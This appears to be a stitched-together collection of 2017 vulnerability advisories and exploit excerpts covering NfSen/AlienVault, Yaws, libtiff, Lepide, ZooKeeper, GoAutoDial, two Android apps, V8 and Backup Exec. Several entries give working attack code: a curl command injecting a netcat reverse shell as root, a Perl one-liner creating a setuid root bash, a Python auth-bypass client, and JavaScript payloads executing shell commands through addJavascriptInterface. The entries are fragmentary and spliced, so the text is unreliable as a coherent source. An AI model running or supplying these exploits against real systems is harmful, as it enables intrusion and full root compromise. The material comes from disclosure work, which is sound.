Desc: Pelco cameras suffer from multiple dom-based, stored and reflected
XSS vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description
A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.
2. Proof of Concept
# From a linux bash prompt on the attacker's machine:
# Set target IP
targetip='10.100.1.1'
# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';
# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';
# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php
3. Solution:
Update to latest version of NfSen/USM/OSSIM
# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6
# Version: NfSen 1.3.7
# Version: AlienVault 5.3.6
# Date: 2017-07-10

# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.6
# CVE: CVE-2017-6970
1. Description
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.
2. Proof of Concept
Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).
Execute the following command:
perl -e 'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.
3. Solution:
Update to latest version of NfSen/USM/OSSIM

yaws.hyber.org
Product:
===========
Yaws v1.91 (Yet Another Web Server)
Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications.
Two separate modes of operations are supported:
Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode.
Embedded mode where Yaws runs as an embedded webserver in another Erlang application.
Vulnerability Type:
===================
Unauthenticated Remote File Disclosure
CVE Reference:
==============
CVE-2017-10974
Security Issue:
================
Remote attackers who can reach Yaws web server can read the server SSL private key file using directory
traversal attacks, access logs are also disclosed etc... this version is somewhat old, however, still avail for download
as of the time of this writing. http://yaws.hyber.org/download/

for (i = 0; i < td->td_customValueCount; i++) {
TIFFTagValue *tv = td->td_customValues + i;
if (tv->info->field_tag != tag)

------- Comment #2 From zhangtan 2017-05-15 01:29:10 -------
The place of Out of bound read:
The 1072 line of tif_dir.c
1068 ret_val = 0;
1069 for (i = 0; i < td->td_customValueCount; i++) {
1070 TIFFTagValue *tv = td->td_customValues + i;

As tv increased in 1070, Out of bound read happened in 1072 when the pointer tv
was referenced.

Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability
Vendor: http://www.lepide.com/
File: lepideauditorsuite.zip
SHA1: 3c003200408add04308c04e3e0ae03b7774e4120
Download: http://www.lepide.com/lepideauditor/download.html
Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/
Summary:
========
The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root.
Additional code:
================
When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code:
root@kali:~# cat client-poc.py
#!/usr/bin/python
import requests
import sys
if len(sys.argv) < 3:
print "(+) usage: %s <target> <attacker's server>" % sys.argv[0]
sys.exit(-1)
target = sys.argv[1]
server = sys.argv[2]
s = requests.Session()
print "(+) sending auth bypass"
s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False)
print "(+) sending code execution request"
s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'})

# Date: 2/7/2017
# Exploit Author: Brandon Dennis
# Email: bdennis@mail.hodges.edu
# Software Link: http://zookeeper.apache.org/releases.html#download
# Zookeeper Version: 3.5.2
# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client.
# This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic.
# The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
# This should effect Linux x86 & x64 as well

This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.

BestSafe Browser FREE NoAds - Remote Code Execution (No MITM Required!)
Version affected: v3
App Info: The Android application reviewed, according to the developer, is "secure" and is built for a better Google experience, and is essential for those who wish to protect their right to privacy.

Shouts: SubHacker and the rest of the awesome infosec community.
-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution attacks. This is caused by the following lines of code within the
\a1\bestsafebrowser\com\main.java file: (Lines 380 - 387)
public static String _activity_create(boolean z) throws Exception {
mostCurrent._activity.RemoveAllViews();
Common.ProgressDialogShow(mostCurrent.activityBA, "Attempting to access the Internet");
Phone phone = new Phone();
main a1_bestsafebrowser_com_main = mostCurrent;
_googleurl = "http://www.comparison.net.au";
mostCurrent._activity.LoadLayout("Start", mostCurrent.activityBA);
ActivityWrapper activityWrapper = mostCurrent._activity;
and
Lines 634 - 641:
public static String _tr_tick() throws Exception {
...
webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.clearCache((WebView) mostCurrent._webview1.getObject(), true);
webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "MyEventName");
WebViewWrapper webViewWrapper = mostCurrent._webview1;
main a1_bestsafebrowser_com_main2 = mostCurrent;
webViewWrapper.Loadproton-Url(_googleurl);
str = "";
In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />
If an attacker registers the domain "comparison.net.au" (it is currently NOT registered) and creates a DNS record for "www.comparison.net.au" then the attacker has full control over anyone who installs and runs this app. This vulnerability can be used to execute arbitrary Java code in the context of the application. The ".net.au" TLD requires slightly more validation during registration, in terms of a valid ABN, ACN or Trademark number. However, as this type of validation is fully automated and this type of information is public, an attacker can easily obtain another entity's ABN, ACN or Trademark number and use that to register a domain.
In addition to the above, in case someone has registered "comparison.net.au", then if an attacker performs a MITM attack against "www.comparison.net.au" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.comparison.net.au", then the attacker can also abuse this vulnerability.
The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.
-:: Proof of Concept ::-
A successful attack that makes "www.comparison.net.au" serve the following code:
<script>
function execute(cmd){
return MyEventName.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a1.bestsafebrowser.com/owned']);
execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
</script>
This application has been owned.
Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.
Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.
-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
WebView webView = new WebView(this);
setContentView(webView);
...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
<manifest>
<uses-sdk android:minSdkVersion="17" />
...
</manifest>
The URL used ("http://www.comparison.net.au") should ALSO use HTTPS (and verify the hostname and certificate properly).
Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
private void exposeJsInterface() {
if (VERSION.SDK_INT < 17) {
Log.i(TAG, "addJavascriptInterface() bridge disabled.");
} else {
addJavascriptInterface(Object, "EVENT_NAME_HERE");
}
}

eVestigator Forensic PenTester - Remote Code Execution via MITM
Version affected: V1
App Info: The Android application reviewed, according to the developer, performs a "thorough forensic level Penetration Test". During run-time and reverse engineering analysis, it was discovered that the application does a connect() scan (i.e. TCP 3-way handshake) to all 65535 TCP ports, for the external IP address of the app user, with 10 simultaneous threads. However, in case a target has all 65535 TCP ports open, the application will actually report that there are 87375 "threats" (i.e. ports) open. Even after scanning all the ports, the application will continue to run forever, and for example count down from the same minute several times. (i.e. when the timer hits 14:00, it goes back up to 14:59)
The application does not report to the user which ports are open, and it does not provide a final report either. Nor does it even attempt to grab any service banners. If the "Send to eVestigator" button is clicked, none of the scan details are sent either. Instead, the external IP address along with other details about the Android environment + user-entered details are sent.

-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution via Man-In-The-Middle (MITM) attacks. This is caused by the following lines of code within the \penetrationtest\eVestigator\com\main.java file: (Lines 1589-1592)
mostCurrent._webview1.Initialize(mostCurrent.activityBA, "Webview1");
mostCurrent._webview1.Loadproton-Url("http://api.ipify.org/?format=txt");
WebViewExtras webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "B4A");
In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="19" />
If an attacker performs a MITM attack against "api.ipify.org" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "api.ipify.org", then the attacker can instruct the Android application to execute attacker controlled Java code that the phone will execute in the context of the application.
The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to a ccess public methods with attacker provided JavaScript.
-:: Proof of Concept ::-
A successful MITM attack that makes "api.ipify.org" serve the following code:
<script>
function execute(cmd){
return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
document.write(execute(['/system/bin/sh','-c','echo test > /data/data/penetrationtest.eVestigator.com/hax0r1tn0w']));
</script>
Will make the Android application create a new file in the App directory named: hax0r1tn0w
Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.
-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
WebView webView = new WebView(this);
setContentView(webView);
...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
<manifest>
<uses-sdk android:minSdkVersion="17" />
...
</manifest>
The URL used ("http://api.ipify.org/?format=txt") should ALSO use HTTPS (and verify the hostname and certificate properly), because an attacker performing a MITM attack can otherwise force the application into scanning any target that the attacker desires. The URL used to get the external IP address of the user, should also be hosted by the developer and not a third party.

There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.
A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.
var re;
function f(){
for(var i = 0; i < 100; i++){
re["test" + i] = 0x77777777; // make a dict
}
return 0;
}
re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);
This PoC crashes on google-chrome-beta on Linux.

There are three variants of the below crash, all of which stemming from an unbound copy into a fixed size stack buffer allocated in the function ASFParser::SetMetaData, used as an argument to each of the three calls to the function unicodeToUtf_8 without checking that the output length will be less than the size of the buffer. You can see in the crashdump that the argv array has been overwritten by junk unicode output, resulting in the corrupted binary path displayed in the output.
I believe that this issue is mitigated by compiling with stack cookies, so I'm not applying the 90 day deadline to this issue since I don't think it's exploitable except as a denial-of-service.

This module exploits a use-after-free vulnerability in the handling of SSL NDMP
connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
is re-established on a NDMP connection that previously has had SSL established,
the BIO struct for the connection's previous SSL session is reused, even though it
has previously been freed.
This module supports 3 specific versions of the Backup Exec agent in the 14, 15
and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
Vista to Windows 10. The check command can help narrow down what major and minor
revision is installed and the precise of version of Windows, but some other
information may be required to make a reliable choice of target.
NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
reliability of around 85%. On other versions of Windows, reliability is around 35%
(due to the need to win a race condition across the network in this case; this may
drop further depending on network conditions). The agent is normally installed on
all hosts in a domain that need to be backed up, so if one service crashes, try
again on another :) Successful exploitation will give remote code execution as the
user of the Backup Exec Remote Agent for Windows service, almost always
NT AUTHORITY\SYSTEM.
